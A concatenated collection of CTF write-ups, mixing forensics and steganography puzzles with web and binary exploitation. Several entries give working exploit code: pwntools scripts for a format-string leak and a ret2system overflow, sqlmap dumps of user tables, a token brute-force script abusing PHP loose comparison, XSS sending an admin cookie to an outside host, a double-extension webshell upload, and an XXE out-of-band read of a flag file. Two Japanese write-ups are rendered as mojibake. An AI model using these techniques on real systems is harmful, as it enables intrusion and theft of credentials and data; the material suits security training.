text_chunk
stringlengths 151
703k
|
---|
After analyzing the traffic, we noticed several ICMP packets, the size of which exceeded the usual value. Apply the wireshark `` icmp && ip.src == 10.211.55.5 && frame.len gt 100`` filter.And we got malicious packets. Export this packages to a separate file.Using a python script, we will extract the data from malicious icmp to a new file.```pythonimport scapy.all as scapy
scapy_cap = scapy.rdpcap('malicious.pcap')with open('output', 'wb') as f: for packet in scapy_cap: f.write(bytes(packet.payload)[28:])```
And this file will be a picture with a flag.Thanks for reading:) |
# Sparrow (jack)
## Desc:
Jack splitted his single-line file and hid the pieces in different places. Can you recover it?
* File is in format of: "<single-line>\n". * You can recover the original file by joining each piece with spaces. (e.g. " ".join(pieces))
## Solution:
It's a [steganography](https://en.wikipedia.org/wiki/Steganography) problem:There is a 1-bit hidden picture in the encoded picture such that every pixel of the hidden picture, is equal to the least significant bit (LSB) of the corresponding pixel of the encoded picture:
```Hidden[i, j] = LSB(Encoded[i, j])```
There are some phrases in every decoded picture; one could use tools like `tesseract` to OCR it. And the flag is the result of concatting and `md5`ing them all. |
The hidden tip is in the frequency distribution analysis of the ciphered text.
This is the frequency distribution plot of the text:

If we sort it by the frequency of the text's letters, we can see an anomaly:

The letters "E", "n", "N", "S", "e", "i", "I" and "T" have all been repeated 42 times.
Sorting these letters by their ASCII number gives us the string "EINSTein". |
Data recovery on RAID 5 array (corrupted disk)
Full video walkthough: https://youtu.be/Nn9RVroH9Ww
XOR script: https://github.com/Crypto-Cat/CTF/blob/main/HackTheBox/forensics/intergalactic_recovery/recover_raid5_drive.py |
# dual-type-multi-format
## Challenge
A new riff on an old format.
[hello.webp](https://github.com/danieltaylor/ctf-writeups/blob/main/bsidessf-22/dual-type-multi-format/hello.webp)
## Solution
I started by taking a look at the provided image, shown below:

Using the [Extract Files](https://cyberchef.io/#recipe=Extract_Files(true,true,true,true,true,true,false,true)) function of [CyberChef](https://cyberchef.io), I found that a [WAV file](https://github.com/danieltaylor/ctf-writeups/raw/main/bsidessf-22/dual-type-multi-format/extracted_at_0x3c02) containing dial tones was hidden inside of [hello.webp](https://github.com/danieltaylor/ctf-writeups/raw/main/bsidessf-22/dual-type-multi-format/hello.webp). I'd encountered these kinds of tones before in past challenges, and had found that I had the most luck with a site called [dtmf-detect](https://unframework.github.io/dtmf-detect/). Running the file through the tool found here decodes the tones into  `435446764696165#665#666#725#66661677`.
\* *Note that when decoding long DTMF sequences, with the tool mentioned above the decoded sequence might not all be visible because the output box doesn't expand to fit them all. If you double click the numbers, even the ones that aren't visible will be selected and you can copy them to be pasted elsewhere. Also note that the output will reset a few seconds after the recording ends, so you'll need to grab them quickly.*
Once I had the decoded sequence from the tone, I made the assumption that it probably needed to be decode using the keypad in the picture somehow. One thing that I found interesting was that entering the code in [https://www.dcode.fr/cipher-identifier](https://www.dcode.fr/cipher-identifier) lists Nihilist Cipher as the top hit, which uses a grid much like the one in the picture as a key. I couldnât get it to work with the code, but thought that perhaps I needed to look for something similar. The phone in the image does say âThe Matrixâ at the bottom so I thought that could be some sort of hint at a matrix cipher of some type. The challenge was categorized as forensics and not crypto though, so I had some doubts.
The next thing I noticed was that all of the values on the keypad were valid hexadecimal values. Based on this, it seemed possible that decoding from hexadecimal would come into play at some point.
Another possibility I considered was if the tones somehow mapped to the 4x4 keypad of the phone in the image, rather than that of a standard 3x4 keypad.
I started digging deeper into the audio itself, and found that there were a few extra tones that hadn't been recognized by the decoder. Running the audio through the tool again, I watched for tones that decode into anything, and mapped everything onto a screenshot of the audio's spectrogram in [Audacity](https://www.audacityteam.org):

So really the decoded sequence should be `4354467_6469616_5#665#666#725#666_61677_`, with the blanks being the unknown values.
At this point, I started learning a little more about [DTMF tones via Wikipedia](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling). DTMF stands for "dual-tone multi-frequency," which explains why each tone has two bands for each toneâeach tone is really a set of two tones at different frequencies. As I scrolled through the Wikipedia page, I saw an image that stood out:

This keypad was a 4x4 layout, just like the one in the image! As it turns out, DTMF codes were originally intended for devices with this type of 4x4 keypad. Also in the Wikipedia article, I found a table of [DTMF keypad frequencies](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling#Keypad):
| | **1209 Hz** | **1336 Hz** | **1477 Hz** | **1633 Hz** ||:----------:|:-----------:|:-----------:|:-----------:|:-----------:|| **697 Hz** | 1 | 2 | 3 | A || **770 Hz** | 4 | 5 | 6 | B || **852 Hz** | 7 | 8 | 9 | C || **941 Hz** | * | 0 | # | D |
Using this table, I was able to look at the spectrogram and decode the 4 unknown tones.

Filling in the blanks, the sequence becomes `4354467B6469616C5#665#666#725#666C61677D`.This is almost a valid hexadecimal sequence, but one change needs to be made. Since the letter `F` shows up in [hello.webp](https://github.com/danieltaylor/ctf-writeups/raw/main/bsidessf-22/dual-type-multi-format/hello.webp) in the same position as `#` on a standard keypad, I replaced all the `#` signs in the sequence with `F`, resulting in `4354467B6469616C5F665F666F725F666C61677D`.
Now that I had a valid hex sequence, I converted it to ASCII. This can be done using [CyberChef](https://cyberchef.io/#recipe=From_Hex('Auto')&input=NDM1NDQ2N0I2NDY5NjE2QzVGNjY1RjY2NkY3MjVGNjY2QzYxNjc3RA) or the command below.
```shecho 4354467B6469616C5F665F666F725F666C61677D | xxd -r -p```
The decoded sequence is the flag: `CTF{dial_f_for_flag}` |
## Solution
Bobs favorite number is the sum of 1856*y+2014*z where y and z are unknown. So we can just iteratively subtract 1856 from the number while number > 1856 and check to see if num %2014 is equal to 0. If so, then its one of bobs favorite numbers and we can return True.
```pythonfrom pwn import *
p = remote('35.193.60.121',1337)
def isFavorite(num): while num > 1856: num -= 1856 if (num % 2014 == 0): return b"Yes" return b"No"
while True: num=int(p.recvline()) print(num) p.sendline(isFavorite(num)) print(p.recvline()) print(p.recvline())
p.interactive()
```
Running our script yields the flag
```$ python3 bobs_favorite.py
746b'Answer: \n'b'Good one\n'Traceback (most recent call last): File "/root/workspace/access_denied/bob/bobs_favorite.py", line 15, in <module> num=int(p.recvline())ValueError: invalid literal for int() with base 10: b'accessdenied{b0bs_f4v0r1t3_numb3r5_4r3_m1n3_f4v0urit3_t00_61c884c8}\n'``` |
# Real Data Html
I have just made the most ultimate html site. This site, this html. This is the real deal.
**Attachments** : [Site](http://web.bcactf.com:49205/)
## SolutionFlag is in page source.
> Flag : bcactf{tH4TZ_D4_R34l_D3Al_cb8949} |
Took me a second here, I actually captured this flag before Babby Web #2 but I had not tried Mr Robot yet.
Checked the robots.txt file for the flag
flag{never_gonna_tell_a_l13}
|
# 4mats

[Files](./Files/pwn_4mats.zip)
We are presented with a binary and its source c file for a program running on a server. Running the binary we are greeted with this:
```Welcome to SEETF!Please enter your name to register:```
After entering a name, the program responds with:
```Welcome: theF0X
Let's get to know each other!1. Do you know me?2. Do I know you?```
After entering '1', the program responds with:
```Guess my favourite number!1Not even close!```
After entering '2', the program responds with:
```Whats your favourite format of CTFs?cryptoSame! I lovecryptotoo!```
Upon entering a valid input, the program will return back to the menu.
Reading over the source, the goal seems to be to 'guess' a random number chosen by the program. If we are correct, there is a system call to print the flag file.
```cvoid guess_me(int fav_num){ printf("Guess my favourite number!\n"); scanf("%d", &guess); if (guess == fav_num){ printf("Yes! You know me so well!\n"); system("cat flag"); exit(0);} else{ printf("Not even close!\n"); }
}```
Reading further we can see several labels, as well as a switch case for different user options. Looking more closely, we can see the vulnerability we need to exploit. A user-provided string is printed to the screen using `printf` with only one argument.
```ccase 2:mat5: printf("Whats your favourite format of CTFs?\n"); read(0, format, 64); printf("Same! I love \n"); printf(format); printf("too!\n"); break;```
For those that don't know `printf` is used to print a format string. Format strings often require variables to be passed along with the string to `printf`. For example `ID: %d` requires an integer argument. If a format string requires an argument but none is passed, then `printf` simply begins reading values off the stack, where it thinks the argument should be.
The outline of an exploit begins to form:
1. Generate a random number.2. Leak values from the stack until we find the number.3. Call guess_me and provide the leaked number.4. Profit???
The only issue is calling guess_me without setting a new random number. Simply calling option 1 in the menu will trigger a new random number, making our leaked one worthless.
```c case 1: srand(time(NULL)); int fav_num = rand() % 1000000; set += 1;mat4: guess_me(fav_num); break;```
Luckily there is a label (mat4) between the random number generator and the call to guess_me. In order to jump to that label we simple trigger the default switch case behavior and ensure that the variable 'set' is equal to 4.
```cdefault: printf("I print instructions 4 what\n"); if (set == 1)mat6: goto mat1; else if (set == 2) goto mat2; else if (set == 3)mat7: goto mat3; else if (set == 4) goto mat4; else if (set == 5) goto mat5; else if (set == 6) goto mat6; else if (set == 7) goto mat7; break;```
We can trigger the default switch-case behavior by providing a number other than 1 or 2. And we can ensure 'set' is equal to 4 by calling case 1 four times(each time case one is triggered 'set' is incremented).
So the final exploit plan is as follows:
1. Trigger option 1 four times.2. Trigger option 2, and provide a format string that requires parameters3. Trigger default by sending number 3, provide leaked value to guess_me
#### Code
```pythonfrom pwn import *
#p = process("./distrib/vuln")p = remote("fun.chall.seetf.sg", 50001)
p.sendlineafter(b"Please enter your name to register:",b"theF0X")
for i in range(4): p.sendlineafter(b"2. Do I know you?\n",b"1") p.sendlineafter(b"Guess my favourite number!",b"0")
p.sendlineafter(b"2. Do I know you?\n",b"2")payload = b"%d " * 8 + b"\n"p.sendlineafter(b"Whats your favourite format of CTFs?\n", payload) #format stringp.recvline()#"Same! I love \n"data = p.recvline()arr = data.decode().split(" ")num = int(arr[6]) #leaked value
p.sendlineafter(b"2. Do I know you?\n",b"3")p.sendlineafter(b"Guess my favourite number!",str(num).encode())print(p.recvall())p.close()```
Note: I grabbed index 6 from the list of leaked values, it stood out to me because it was the smallest value. In reality, there was not much logic involved in picking the index.
**OUTPUT**
```#b'\nYes! You know me so well!\nSEE{4_f0r_4_f0rm4t5_0ebdc2b23c751d965866afe115f309ef}\n'``` |
# HalfTimePad
## Desc
There is a hidden message in this service that contains flag.
Here is the leaked source code of program: [cipher.go]()
ez pz!
```bashcurl halftimepad.roboepics.com```
## Solution
This is what leaked `cipher.go` does: it has a function called `HalfTimePad` which its objective is to encrypt global `plain` variable by XORing it with a genereted byte string for each request. The byte string is being generated by choosing random bytes for random length (between 20 and 100) and cycling it until it has same length as the plain text.
``` ---------------------------------------- | Plain Text | ---------------------------------------- ---------------------------------------- | key | key | key | key | key | key | k| ---------------------------------------- (XOR) ======================================== ---------------------------------------- | Cipher Text | ---------------------------------------- ```
Notice that we know the plain text contains the flag and the flag contains `xeroctf{` and if we know the length of the key (`l`) and index of `xeroctf{` we could obtain a part of the key by XORing cipher text with `xeroctf{`, hence we could obtain parts of plain text. These parts should be meaningful and of course printable. So we can find `l` and `i` by bruteforcing all possible cases.
``` ,_ i _, `v' ---------------------------------------- Plain: | xeroctf{ | ---------------------------------------- ---------------------------------------- Key: | #found## | #found## | ###| ---------------------------------------- (XOR) ======================================== ---------------------------------------- Cipher: | #found## #found## #fo| ---------------------------------------- ```
Here is a python script for finding candidate `(l, i)`s:
```pythonimport base64import string
# Sample ciphercipher = """"x2jJ4MpMB7EwWkl61QHoywcmK5V0TrxsbZykIyHZB6FCWv07K01lTZWgNczh6Gv0uaICnV3Yn4MVk3Fvl5AQPpBaecutA9ddc8EV0ytvUPCpt50AFYHtz9K+/hDLgFs2/PKvMoz/8A8MujZaCGiJYuXAETAl9nMGoG1tk7tiJ8NUuEpY/j1/Wy8xmaJ5143WTZ2dgiLua//NgFScXGPEvRJojR12hb0+4XEAviP4VF1Im+nqkxRbhKHR0qvpSZ+QUHnj+K84l7+OBQ2hNAgddM4brdEGLXG/YQa5djmBu2Zgmx20D0f+LG4TXhaX7nyYpvh2urPsD8lHntqYWodkYpboKnWzXHiP+SfLTTTLI61VXWrOmQ=="""cipher = base64.b64decode(cipher)
flag_header = b"xeroctf{"
def wrapping(lst, n): return [lst[i:i+n] for i in range(0, len(lst), n)]
def decipher(key, cipher): d = b'' for i in range(len(cipher)): d += bytes([cipher[i] ^ key[i%len(key)]]) return d
def isprintable(s): return all(c < 127 and chr(c) in string.printable for c in s)
for n in range(20, 101): for i in range(len(cipher)-len(flag_header)): part = cipher[i:i+len(flag_header)] dekey = bytes([part[j] ^ flag_header[j] for j in range(len(part))])
key = [0] * n ikey = set([]) for j in range(len(dekey)): index = (j + i) % n key[index] = dekey[j] ikey.add(index)
txt = decipher(key, cipher) ws = wrapping(txt, n)
f = True for w in ws: for k in ikey: if not isprintable(w[k:k+1]): f = False if f: for w in ws: s = "".join([chr(w[i]) for i in ikey if i < len(w)]) print(s)
```
By checking candidates, we will find that `i = 129`.
Now considering `crypto.go` chooses random `l` between 20 and 100, for every `l` we can extract distinct places of the plain text by almost the same process:
``` ,_ i _, `v' ---------------------------------------- Plain: |#found2#nd1# xeroctf{ #fo| ---------------------------------------- ---------------------------------------- Key1: | #found1# | #found1# | ###| ---------------------------------------- ---------------------------------------- Key2: |#found2# |#found2# | ---------------------------------------- . . . . . . . . .
```
```pythonplain = Nonewhile True: cipher = input().strip() cipher = base64.b64decode(cipher) if plain is None: plain = ['?'] * len(cipher)
for n in range(20, 100): i = 129 part = cipher[i:i+len(flag_header)] dekey = bytes([part[j] ^ flag_header[j] for j in range(len(part))])
key = [0] * n ikey = set([]) for j in range(len(dekey)): index = (j + i) % n key[index] = dekey[j] ikey.add(index) txt = decipher(key, cipher) ws = wrapping(txt, n) f = True for w in ws: for k in ikey: if not isprintable(w[k:k+1]): f = False if not f: continue
changed = False pplain = plain[:] for j in range(len(pplain)): if pplain[j] != '?': continue if j % n in ikey: pplain[j] = chr(txt[j]) changed = True if changed: print("".join(pplain)) print("Accept?") if input() in ["y", "Y"]: plain = pplain```
It's enough to extract the first 100 bytes of the plain text, so we can reveal the key completely. |
# Query Service
We can run queries against an SQL server. We have no info on the sql server though. Queries like `CREATE TABLE mytable (column1 int); INSERT INTO mytable (column1) VALUES (7); SELECT * FROM mytable;` work without error. The query is basically just appended as a url parameter in the get request.
Notice that when sending a query, a fetch to sql.db is made which fetches a .db file. The file reveals infos about a `notes` table. `SELECT * FROM notes` reveals: ```submit link to admin bot at http://webp.bcactf.com:49155/the flag is in the bot's "flag" cookie```
The javascript of the page contains the following:```typescriptif (searchParams.get("query")) { let query = searchParams.get("query"); linkdiv.innerHTML = "Link to this query: (link)";```
This looks like XSS is possible by sending a malicious "query link" to the admin.
After tampering with the query parameter for a while and using https://requestbin.com/, I was able to get the admin cookie with an img tag and an onerror attribute:`CREATE TABLE mytable (column1 int);">`
Sending the link to the admin reveals the flag on https://requestbin.com/. |
## Solution
The program suffers a ``buffer overflow`` that allows us to overwrite the return address with ``system``. We'll use the previous input to write ``cat flag.txt`` to the address ``0x804c060``
```pythonfrom pwn import *
binary = args.BINcontext.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)r = ROP(e)
gs = '''break *0x804929dbreak *0x804929econtinue'''
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) elif args.REMOTE: return remote('34.134.85.196',9337) else: return process(e.path)
p = start()p.recvuntil(b'You are allowed to store some value')p.sendline(b'cat flag.txt')p.recvuntil(b'Enter the buffer now')
system = e.plt["system"]usefulString = 0x804c060
payload = flat( b"A" * 44, system, # call system("/bin/cat flag.txt") b"B" * 4, # return address for system usefulString, # arg for system)
p.sendline(payload)
p.interactive()```
Running our script yields the flag
```$ python3 pwn-ret2sys.py BIN=./ret2system REMOTE[*] '/root/workspace/access_denied/ret2system/ret2system' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)[*] Loading gadgets for '/root/workspace/access_denied/ret2system/ret2system'[+] Opening connection to 34.134.85.196 on port 9337: Done[*] Switching to interactive mode
accessdenied{n3xt_1_w1ll_n0t_1nclud3_system_func710n_1t53lf_e8dd6fc7}``` |
# KnowMe:Web:100ptsOnly someone that knows me can solve me Do you know me? [https://typhooncon-knowme.chals.io/](https://typhooncon-knowme.chals.io/) Flag format: SSD{...}
# SolutionURLãæž¡ãããã ã¢ã¯ã»ã¹ãããšããã°ã€ã³ãã©ãŒã ã®ããã ã Uploader [site1.png](site/site1.png) ããŒãžã¿ã€ãã«ä»¥å€ã®æãããã¯ç¡ããããã²ãšãŸãdirbããããã ```bash$ dirb https://typhooncon-knowme.chals.io/~~~---- Scanning URL: https://typhooncon-knowme.chals.io/ ----==> DIRECTORY: https://typhooncon-knowme.chals.io/css/+ https://typhooncon-knowme.chals.io/index.php (CODE:200|SIZE:1015)+ https://typhooncon-knowme.chals.io/robots.txt (CODE:200|SIZE:25)==> DIRECTORY: https://typhooncon-knowme.chals.io/uploads/~~~````/robots.txt`ã`/uploads/`ãªã©ãèŠã€ãã£ãã çŸç¶ã¯èš±å¯ãããŠããªããããã°ã€ã³åŸã«`/uploads/`ã«ãã¡ã€ã«ãã¢ããããŒãã§ãããã ã `/robots.txt`ãèŠããšä»¥äžã®ããã§ãã£ãã ```bash$ curl https://typhooncon-knowme.chals.io/robots.txt/items.php/var/www/flag```ãã©ã°ã®å Žæã¯`/var/www/flag`ã®ããã§ã`/items.php`ãªããã®ãããããã ã ã¢ã¯ã»ã¹ããŠã¿ããš`sort parameter required.`ãšã®ã¡ãã»ãŒãžãè¿ã£ãŠãããããèšãããéãã¯ãšãªãã©ã¡ãŒã¿ãä»å ããŠã¿ãã ```bash$ curl https://typhooncon-knowme.chals.io/items.phpsort parameter required.$ curl https://typhooncon-knowme.chals.io/items.php?sort=1{"id":3,"count":2,"itemName":"CTFCreators"}$ curl https://typhooncon-knowme.chals.io/items.php?sort=2{"id":1,"count":22,"itemName":"Labtop"}$ curl https://typhooncon-knowme.chals.io/items.php?sort=3{"id":2,"count":12,"itemName":"test"}```äœããã®ããŒã¿ããœãŒãããå
é ãååŸããŠããããã ã SQLã®whereã«ã¯ãšãªéšåãå
¥ã£ãŠãããã§ãããããSQLiãçã£ãŠsqlmapãå©çšããã ```bash$ sqlmap -u "https://typhooncon-knowme.chals.io/items.php?sort=1" --dbs~~~---Parameter: sort (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: sort=1 AND (SELECT 8339 FROM (SELECT(SLEEP(5)))loyl)---~~~available databases [5]:[*] information_schema[*] knowmeDB[*] mysql[*] performance_schema[*] sys~~~$ sqlmap -u "https://typhooncon-knowme.chals.io/items.php?sort=1" -D knowmeDB --tables~~~Database: knowmeDB[3 tables]+-------------+| items || resetTokens || users |+-------------+~~~$ sqlmap -u "https://typhooncon-knowme.chals.io/items.php?sort=1" -D knowmeDB -T users --dump~~~Database: knowmeDBTable: users[3 entries]+----+-------------------------+--------------------------------------------+-------------+| id | email | password | username |+----+-------------------------+--------------------------------------------+-------------+| 1 | [email protected] | d41d8cd98f00b204e9800998ecf8427e (<empty>) | admin || 2 | [email protected] | d41d8cd98f00b204e9800998ecf8427e (<empty>) | test || 3 | [email protected] | d41d8cd98f00b204e9800998ecf8427e (<empty>) | CTFCreators |+----+-------------------------+--------------------------------------------+-------------+~~~```adminã®ãã¹ã¯ãŒãã¯ç©ºã®ããã ã ããã³ãã§ã¯å
¥åãå¿
é ãšãããŠããã®ã§ãHTMLãæžãæããããªã¯ãšã¹ãããŒã¿ãæžãæããŠããã°ããã ãã°ã€ã³ã«æåãããšãäœããã¡ã€ã«ãã¢ããããŒãã§ããããã ã Profile [site2.png](site/site2.png) phpãã¡ã€ã«ã®ã¢ããããŒããçããã`Extention (php) not allowed`ãšæãããã æ§ã
ãªæ¡åŒµåããããã¯ãããŠããããã ã ããã€ãã®æ¡åŒµåã調æ»ãããš`.png`ãèš±å¯ãããŠããããšãããããäºéæ¡åŒµå`.png.php`ã詊ããšãããã¢ããããŒãã«æåããã æ¬¡ã®ãããªphpã`satoki.png.php`ãšååãä»ãã¢ããããŒãããŠããã°ããã ```php
```ã¢ããããŒããããš`The file satoki.png.php has been uploaded.`ãšèšãããã®ã§ãdirbã§çºèŠãã`/uploads/`äžãèŠãŠããã ```bash$ curl https://typhooncon-knowme.chals.io/uploads/satoki.png.phpDo you know this?SSD{9a0c843a03de8e257b1068a8659be56ac06991f3}Do you know that?Do you know that?```flagãèªã¿åããã
## SSD{9a0c843a03de8e257b1068a8659be56ac06991f3} |
The challenge hint says: it use eval and want from us to print " bcactf " to a console:
_____________________
This is the Payload :
`$={}+!1;$[2]+$[5]+$[16]+$[5]+$[6]+$[15];`
_____________________
"**$**" Variable Contain "**{}**" and "**!1**" concatenated, and will translated on Javascript to:
`{} ` // ----> "[object Object]"
`!1` // ----> "false"
_____________________
Combine them to use it as a variable with indexing []:
`$={}+!1;` // we define "**$**" variable with content : **[object Object]false**+`$[2] ` //b is secend index on [object Object]false+`$[5] ` //c+`$[16] ` //a+`$[5] ` //c+`$[6]` //t+`$[15] ` //f
_____________________
PoC:
-
ââ nc misc.bcactf.com 49156Get the flag by making the calculator output "bcactf"!
`> $={}+!1;$[2]+$[5]+$[16]+$[5]+$[6]+$[15];`
Result: bcactfCongrats! The flag is bcactf{G00D_EV4LUAT1ON}
_____________________
> Saudi Team |
# Typo:Web:100ptsI like to count in base 4 and not in base too, this is why this is hard Look at my source code, as I am sure you can see my typo [https://typhooncon-typo.chals.io/](https://typhooncon-typo.chals.io/) Flag format: SSD{...} [typo_src.zip](typo_src.zip)
# SolutionURLãšãœãŒã¹ãäžããããã ã¢ã¯ã»ã¹ãããšãã°ã€ã³ãã©ãŒã ã®ããã ã [site1.png](site/site1.png) äžæ£ãªå
¥åã§ã¯äœãèµ·ãããªãããããœãŒã¹ãèŠãã ã»ãšãã©ã®ãã¡ã€ã«ããã°ã€ã³åŸã«ã®ã¿æ±ãããã`change.php`ã`forgot.php`ã¯ãã°ã€ã³ãäžèŠã§ãã£ãã `change.php`ã§ã¯äžãã`uid`ããDBã«ä¿åãããŠãããŠãŒã¶ã®`token`ãååŸããåæã«äžãã`token`ãšå
é 4æåãäžèŽããå Žåã«ããã¹ã¯ãŒããäžãã`psw`ã«å€æŽã§ããã ã€ãŸãããŒã¯ã³ã䜿ã£ããã¹ã¯ãŒããå¿ãããšãã®æŽæ°åŠçãšãªã(ãããããŒã¯ã³ã¯ååŸã§ããªã)ã ```php~~~$uid = mysqli_real_escape_string($mysqli, $_POST['uid']);$pwd = md5(mysqli_real_escape_string($mysqli, $_POST['psw']));$sig = mysqli_real_escape_string($mysqli, $_POST['token']);
$sqlGetTokens = "SELECT token from tokens where uid='$uid'";
$result = $mysqli->query($sqlGetTokens);$data = mysqli_fetch_array($result);$sigDB = substr($data[0], 0, 4);
if( $sig == $sigDB ){
$sqlChange = "UPDATE users SET password='$pwd' where id='$uid'"; $mysqli->query($sqlChange); $sqlDelete = "DELETE FROM tokens WHERE uid='$uid'"; $mysqli->query($sqlDelete);~~~```4æåã§ããã°ç·åœããã§ãããã ãšèãã`token`ã®çæå Žæãæ¢ããš`forgot.php`ã§ãã£ãã POSTãªã¯ãšã¹ããåãåãããšã«`$unam`ãš`$time`ãš`SECRET`ãã`token`ãmd5ã§çæããŠããã ```php~~~if($_SERVER['REQUEST_METHOD'] == "POST"){ $uname = mysqli_real_escape_string($mysqli, $_POST['uname']); $s = system("date +%s%3N > /tmp/time"); $time = file_get_contents("/tmp/time"); $fullToken = md5( $unam . $time . "SECRET" );
$sqlGetId = "SELECT id FROM users where username='$uname'"; $result = $mysqli->query($sqlGetId); $data = mysqli_fetch_array($result); $uid = $data[0];
$sqlDelete = "DELETE FROM tokens WHERE uid='$uid'"; $mysqli->query($sqlDelete);
$sqlInsert = "INSERT INTO tokens values('$uid','$fullToken')"; $mysqli->query($sqlInsert);~~~```倿°å`$unam`ãã¿ã€ãã§ããåžžæç©ºãªããããªãã€ã¬ã¯ãã®ç«¶åç¶æ
ã§ãã¡ã€ã«`/tmp/time`ã空ã«ãªã`$time`ã空ã«ãªãç¬éãçãããšèããã`SECRET`ãããããªãã ç·åœãããèããããã65536éãã§ããããã®éã«ã»ãã®ãŠãŒã¶ã«`token`ãåçºè¡ãããããšã¯ééããªãã ããã§`change.php`ã®æ¯èŒã`if( $sig == $sigDB ){`ãšå³å¯ã§ãªãããšãæãåºãã PHPã§ã¯md5ã®å³å¯ã§ãªãæ¯èŒåé¡ãããç¥ãããŠããã`0eXX`(`X`ã¯æ°å)ã®ãããªãã®ã¯0ãšå€å®ãããã ã€ãŸã`token`ãäœåºŠãåçºè¡ãã`0eXX`ã®ãããªåœ¢ã«ãªãã¿ã€ãã³ã°ã§`0000`ãªã©ãäžããŠãããšæ¯èŒãéãæããã¹ã¯ãŒãã倿Žã§ãã(`0000`ã`00eX`ãšãªããã¿ãŒã³ããã)ã `(1/16)*(1/16)*(10/16)*(10/16)=0.0015`ã§ããã0.15%çšåºŠãªã®ã§ååã«å¯èœã§ããã `uid`ã¯adminãªã®ã§1ã ãããšäºæž¬ããã 以äžã®md5_attack.pyã§`token`ã¬ãã£ãè¡ãã ```pythonimport requests
target = "https://typhooncon-typo.chals.io"admin_pass = "satoki"
while True: try: res = requests.post(f"{target}/forgot.php", data={"uname": "admin"}) print(res.text) res = requests.post(f"{target}/change.php", data={"uid": "1", "psw": admin_pass, "token": "0000"}) print(res.text) if "Password Changed." in res.text: print("Hacked!!!!") print(f"admin password: {admin_pass}") res = requests.post(f"{target}/login.php", data={"uname": "admin", "psw": admin_pass, "remember": "on"}) print(f"cookie: {res.cookies}") break except: pass```å®è¡ããŠåŸ
ã€ã ```bash$ python md5_attack.py<script>alert('Token sent to you.');window.location.href='/index.php';</script><script>alert('Token is invalid.');window.location.href='/index.php';</script><script>alert('Token sent to you.');window.location.href='/index.php';</script><script>alert('Token is invalid.');window.location.href='/index.php';</script>~~~<script>alert('Token sent to you.');window.location.href='/index.php';</script><script>alert('Password Changed.');window.location.href='/index.php';</script>Hacked!!!!admin password: satokicookie: <RequestsCookieJar[<Cookie PHPSESSID=5odbobfndb0vggtj6qg4ld1ajg for typhooncon-typo.chals.io/>]>```ãã¹ã¯ãŒãã®å€æŽãæåãããã°ã€ã³æã®cookieãæã«å
¥ã£ãã ãã°ã€ã³ããŠãããšãŠãŒã¶ã®ååšã確èªããè¬æ©èœãåããŠããã [site2.png](site/site2.png) ãããå®è¡ã«ã¯UUIDãå¿
èŠãªããã ã `read.php`ã«ä»¥äžã®ãããªèšè¿°ããããã`XXXX`ã§ã¯ãªãã ```php~~~$uuid = $_SERVER['HTTP_UUID'];
if( $uuid != "XXXX" ){ die("UUID is not valid");}~~~```UUIDã®ååŸæ¹æ³ãæ¢ããŠãããšã`data.php`ã«èªæãªSQLiãããããšããããã ```php~~~$uname = $_GET['u'];$sql = "SELECT email FROM users where username='$uname'";~~~```ã²ãšãŸãDBãsqlmapã§ãã³ãããã ```bash$ sqlmap -u "https://typhooncon-typo.chals.io/data.php?u=1" --cookie="PHPSESSID=5odbobfndb0vggtj6qg4ld1ajg" --dbs~~~available databases [5]:[*] information_schema[*] mysql[*] performance_schema[*] sys[*] typodb~~~$ sqlmap -u "https://typhooncon-typo.chals.io/data.php?u=1" --cookie="PHPSESSID=5odbobfndb0vggtj6qg4ld1ajg" -D typodb --tables~~~Database: typodb[3 tables]+------------+| secretkeys || tokens || users |+------------+~~~$ sqlmap -u "https://typhooncon-typo.chals.io/data.php?u=1" --cookie="PHPSESSID=5odbobfndb0vggtj6qg4ld1ajg" -D typodb -T secretkeys --dump~~~Database: typodbTable: secretkeys[1 entry]+--------------------------------------+| uuidkey |+--------------------------------------+| 8d6ed261-f84f-4eda-b2d2-16332bd8c390 |+--------------------------------------+~~~```UUIDãä¿åãããŠããã ããã§ãŠãŒã¶ã®ååšã確èªããæ©èœã䜿çšã§ããã æ©èœã調æ»ãããšxmlãèªã¿èŸŒãã§ããããã ã ```php~~~$xml = urldecode($_POST['data']);
$dom = new DOMDocument();try{ @$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);}catch (Exception $e){ echo '';}$userInfo = @simplexml_import_dom($dom);$output = "User Sucessfully Added.";~~~```XXEãçãããããŒãžã®å¿çããããŒã¿ãèªã¿åãããšã¯ã§ããªãã 以äžã®dtd.xmlãèªèº«ã®ãµãŒãã§ãã¹ãã£ã³ã°ãã[XXE OOB with DTD and PHP filter](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#xxe-oob-with-dtd-and-php-filter)ãè¡ãã ```xml
">```ãã¡ã€ã«ãååšããªãå Žåãbase64ã®ãªã¯ãšã¹ããå°éããªãã `/var/www/flag`ã¯æšæž¬ããã 以äžã®ãããªxmlãããŒã»ã³ããšã³ã³ãŒãã£ã³ã°ããXXEãè¡ãã ```xml
